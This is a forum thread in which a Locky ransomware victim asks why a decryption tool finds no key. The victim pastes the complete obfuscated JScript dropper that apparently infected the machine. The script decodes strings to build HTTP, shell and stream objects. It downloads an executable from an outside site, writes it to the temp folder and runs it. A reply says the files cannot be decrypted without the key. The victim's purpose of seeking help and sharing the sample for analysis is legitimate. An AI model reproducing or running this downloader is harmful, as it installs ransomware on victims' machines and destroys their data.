ibmmtr 0 Posted May 21, 2016 Report Share Posted May 21, 2016 the locky software not working and show there is no valid key ,,, please advice Virus scan result https://www.virustotal.com/ar/file/eb5036d87f7412bdfcc13402f02095f69c055659f49d29e6b342a5e13b798cda/analysis/ the virus file in attachment Virus code;:;; ------------------------------------- var postmaster = 0; aimed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; unlettered = []; var wrathful = { ':': '.', 'U': 'S', '|': 'X' }; String.prototype.identity = function () { poster = this; for (var i in wrathful){poster = poster.replace(i, wrathful);} return poster; }; for ( var i = 128; i--; ) { if ( unlettered[ i ] === undefined ) unlettered[ i ] = -1; unlettered[ aimed.charCodeAt( i ) ] = i; } var ginger = 3-2; String.prototype.identity4 = function() { var c1, c2, c3, c4; var i, len, out; var str = this.split("wally").join(""); len = str.length; i = 0; out = ""; while(i < len) { /* c1 */ do { c1 = unlettered[str.charCodeAt(i++) & 0xff]; } while(i < len && c1 == -1); if(c1 == -1) break; /* c2 */ do { c2 = unlettered[str.charCodeAt(i++) & 0xff]; } while(i < len && c2 == -1); if(c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); /* c3 */ do { c3 = str.charCodeAt(i++) & 0xff; if(c3 == 61) return out; c3 = unlettered[c3]; } while(i < len && c3 == -1); if(c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); /* c4 */ do { c4 = str.charCodeAt(i++) & 0xff; if(c4 == 61) return out; c4 = unlettered[c4]; } while(i < len && c4 == -1); if(c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4); } return out; } var forgetful = "wallyQWwallyN0aXZwallylWE9iawallymVjdA=wally=".identity4(); String.prototype.identity2 = function () { var deafness = { intended: this }; deafness.broken = deafness.intended["c3Vic3RyaW5n".identity4()](postmaster, ginger); return deafness.broken; }; var signs ="wallyRXhwYW5wallykRW52aXwallyJvbm1lbnRTdHJwallypbmdz".identity4(); var Native = function(options){ options = options || {}; var afterImplement = options.afterImplement || function(){}; var generics = options.generics; generics = (generics !== false); var legacy = options.legacy; var initialize = options.initialize; var protect = options.protect; var name = options.name; var object = initialize || legacy; return object; }; var premises ="wallyJVwallyRFTVwallyAl".identity4(); var sealing = [forgetful, signs,premises, ""+"."+("accuracy","likely","nebraska","applied","sunderland","dreads","andrea","lavender","exe"), "UnVu".identity4(), ("M"+"SX"+"ML"+("rusted","unveil","chide","cingular","tincture","poseidon","guards","2.")+"|M"+"LH"+"TT"+("sewing","indonesian","gibson","enact","efficacious","daddy","disrespectful","approved","P>")+"WU"+("potter","suspension","congressional","flatterer","empirical","jordan","wearing","cr")+("imaging","presence","amorphous","riverside","perplexing","extra","monica","downtown","ip")+"t:"+("flirt","composer","undignified","wrestling","exemption","precipitation","nathan","lifetime","Sh")+"ell").identity()]; quiescent = "_F2_"; var dissertation = this[sealing.shift()]; Native.implement = function(objects, properties){ for (var i = 0, l = objects.length; i < l; i++) objects.implement(properties); }; Native.genericize = function(object, property, check){ if ((!check || !object[property]) && typeof object.prototype[property] == 'function') object[property] = function(){ var args = Array.prototype.slice.call(arguments); return object.prototype[property].apply(args.shift(), args); }; }; Native.typize = function(object, family){ if (!object.type) object.type = function(item){ return ($type(item) === family); }; }; edmAVsUlVs = "DFzFFJ"; lakes = (("prophesy", "diabolical", "world", "midwife", "pXGkMdk") + "zvFezP").identity2(); complaints = (("diver", "wither", "pierre", "plush", "cursor", "descriptions", "swRaefhyJ") + "bGqfiBHChp").identity2(); String.prototype.propagation = function (a) { for (var b = [], c = 0; c < a.length; c++)b[c] = a[c]; return b.join("") }; var tucker = sealing.pop().split(">"); forests = "b3Blbg==".identity4(); var organised = new dissertation(tucker[1]); lCyqYbwwWo = "_F3_"; var hoist = new dissertation(tucker[0]); var highway = organised[sealing.shift()](sealing.shift()); MFWAxq = "_F5_"; weasel = (("linear", "obtain", "progress", "surgical", "EvCIhMy") + "ACFoVjgMf").identity2(); function clipped(cramps, busted) { try { var victoria = highway + "/" + busted ; victoria = victoria+ sealing.shift(); hoist[forests](("apache","composes","G" + weasel) + ("queen","smelting","isabelle","andrea","T"), cramps, false); WNdVkeiStIe = "_F7_"; hoist[complaints + ("puberty","chairs","end")](); var peanuts=(WScript+""=="V2luZG93cyBTY3JpcHQgSG9zdA==".identity4())&&hoist["c3RhdHVz".identity4()] +""=="MjAw".identity4()&&typeof(JcMvTk)==="undefined"; lQHNgR = "_F8_"; if (peanuts) { var michaelmas = new dissertation((("meager","amputation","embrasure","warning","moral","humans","shinto","bennett","A")+("collections","egress","propitiatory","shaving","turnkey","bramble","patriarchal","glint","SEOO")+"DB"+("continuing","unawares","broil","trustees","warehouse","unfashionable","funds",".S")+"tr8").replace("SEO", "D").replace("8", "eam")); michaelmas[forests](); waOiaGMfVG = "_F9_"; michaelmas.type = ginger; kmUzyjl = "_F10_"; michaelmas["d3JpdGU=".identity4()](hoist[("catacombs","collegiate","nutriment","geology","obtuse","derivation","forum","")+"R"+"es"+"pon"+wrathful['U'].toLowerCase()+"e"+"Qm9keQ==".identity4()]); lxznsOw = "_F11_"; michaelmas[(lakes + "o"+("macedonian","novels","newer","grannie","intertwined","sloppy","betimes","galaxy","00")+("mozambique","chagrin","amicably","horde","harper","missed","sharp","8i")+"tion").replace("0"+("dally","schema","indicated","nerve","beaux","considered","transexuales","08"), complaints)] = 0; RDBzoUXH = "_F12_"; michaelmas[("comer","hitch","babes","baldheaded","inversion","ticked","omniscience","s")+"aveT"+"oF"+"ile"](victoria, 2); iEcpxYmmdyQ = "_F13_"; michaelmas.close(); kCCkJY = "_F14_"; organised[sealing.shift()](victoria, ginger, true); } } catch (WMvtCkT) { }; ugaoonEqD = "_F15_"; } clipped("aHR0cDovLw==".identity4()+"\u006A\u0075\u0073\u0074\u0069\u0063\u0065\u006D\u0061\u006E\u0064\u0061\u0074\u0065"+"\u002E\u006F\u0072\u0067\u002F\u0034\u0033\u0037\u0067\u0066\u0069\u006E\u0077\u0032" + "?TMxnap=FnHaXoD","HJhLlzeCxQf"); jCTElY = "_F16_"; MSG000652760894015.rar Link to post Share on other sites
Kevin Zoll 309 Posted May 23, 2016 Report Share Posted May 23, 2016 If the decryption utility is unable to find the encryption key, then it is not possible to decrypt the encrypted files. Link to post Share on other sites
Recommended Posts